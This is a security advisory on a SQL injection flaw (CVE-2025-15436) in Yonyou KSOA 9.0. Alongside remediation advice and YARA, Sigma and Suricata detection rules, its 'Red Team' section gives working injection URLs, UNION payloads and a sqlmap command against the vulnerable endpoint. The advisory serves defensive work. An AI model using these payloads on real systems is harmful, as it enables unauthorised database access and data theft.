CVE-2025-15436

Executive Summary

CVE-2025-15436 is a critical SQL injection vulnerability discovered in Yonyou KSOA version 9.0. The flaw resides in the /worksheet/work_edit.jsp file, where the Report parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The vulnerability has a CVSS score of 7.3 (High) and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The vendor was contacted but did not respond, leaving the product in an unpatched state.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Yonyou KSOA). Therefore, supply chain security concerns are limited to the direct use of this software within an organization's infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Database records can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a significant threat to any organization using Yonyou KSOA 9.0.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the JSP file /worksheet/work_edit.jsp. The application likely constructs a SQL query by directly concatenating the user-supplied Report parameter without proper sanitization or parameterized queries.

Example of vulnerable code logic (pseudo-code):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = " + reportId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker can manipulate the Report parameter to break out of the intended SQL syntax. For example, a simple injection like:

1 OR 1=1

Would result in the query:

SELECT * FROM reports WHERE id = 1 OR 1=1

This would return all rows from the reports table.

More sophisticated attacks can use UNION-based SQL injection to extract data from other tables, or time-based blind injection to enumerate the database schema.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = " + reportId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String reportId = request.getParameter("Report");
String query = "SELECT * FROM reports WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, reportId);
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query, which ensures that the user input is treated as data, not as executable SQL code. This completely mitigates the SQL injection vulnerability.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Yonyou KSOA 9.0.
• Network access to the /worksheet/work_edit.jsp endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/worksheet/work_edit.jsp
   

2. Test for SQL injection: Use a simple payload to cause a boolean-based or time-based response.

   http://target.com/worksheet/work_edit.jsp?Report=1' AND '1'='1
   http://target.com/worksheet/work_edit.jsp?Report=1' AND '1'='2
   

3. Extract database information (UNION-based): Determine the number of columns:

   http://target.com/worksheet/work_edit.jsp?Report=1 ORDER BY 1--
   http://target.com/worksheet/work_edit.jsp?Report=1 ORDER BY 2--
   

   Once the column count is known (e.g., 3), extract data:

   http://target.com/worksheet/work_edit.jsp?Report=-1 UNION SELECT 1,@@version,3--
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/worksheet/work_edit.jsp?Report=1" --batch --dbs
   

Example Exploit Payload (URL-encoded):

GET /worksheet/work_edit.jsp?Report=1%27%20UNION%20SELECT%201,2,3-- HTTP/1.1
Host: target.com

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for suspicious patterns in the Report parameter, such as:

   • SQL keywords (SELECT, UNION, OR, AND, --, #)
   • Single quotes (') or double dashes (--)
   • Unusual characters or encoding

2. WAF Rules: Deploy or update Web Application Firewall (WAF) rules to block SQL injection attempts targeting the /worksheet/work_edit.jsp endpoint.

3. Database Monitoring: Enable database audit logging to detect anomalous queries originating from the application server.

4. Network Segmentation: If possible, isolate the KSOA application server from direct internet access, placing it behind a reverse proxy or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /worksheet/work_edit.jsp with a Report parameter containing SQL metacharacters (', --, ;, /*).
  • Unusual database queries originating from the application server's IP address.
  • Outbound database connections to unexpected IP addresses (data exfiltration).

• File System IOCs:

  • Modified or newly created files in the web root (e.g., webshells).
  • Unusual entries in application logs.

• Log IOCs:

  • Web server logs showing 400 or 500 errors from the /worksheet/work_edit.jsp endpoint.
  • Database logs showing queries with UNION, SELECT * FROM, or INFORMATION_SCHEMA.

Detection Engineering

YARA Rule

rule CVE_2025_15436_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Yonyou KSOA work_edit.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15436"
    strings:
        $s1 = "/worksheet/work_edit.jsp" nocase
        $s2 = "Report=" nocase
        $sqli1 = /Report=.*['\"]/ nocase
        $sqli2 = /Report=.*(SELECT|UNION|OR|AND|--|#)/i nocase
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2025-15436 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Yonyou KSOA work_edit.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/worksheet/work_edit.jsp"
        cs-uri-query|contains: "Report="
    keywords:
        - "'"
        - "SELECT"
        - "UNION"
        - "OR"
        - "AND"
        - "--"
        - "#"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15436 SQL Injection Attempt"; flow:to_server,established; content:"/worksheet/work_edit.jsp"; http_uri; content:"Report="; http_uri; pcre:"/Report=[^&]*['\"]/i"; pcre:"/Report=[^&]*(SELECT|UNION|OR|AND|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the Yonyou KSOA 9.0 application offline or restrict network access to only trusted internal users.
2. Apply Virtual Patching: Use a WAF to create a custom rule that blocks requests to /worksheet/work_edit.jsp containing SQL injection patterns.
3. Input Validation: If you have access to the source code, implement parameterized queries (PreparedStatements) for the Report parameter.

Long-Term Remediation:

1. Vendor Patch: Monitor for an official patch from Yonyou. Since the vendor did not respond, consider migrating to an alternative solution or engaging a security consultant to develop a custom patch.
2. Code Review: Conduct a thorough security code review of the entire KSOA application to identify and fix other potential vulnerabilities.
3. Security Hardening: Implement a Web Application Firewall (WAF) and Intrusion Prevention System (IPS) to provide defense-in-depth.

Valters IT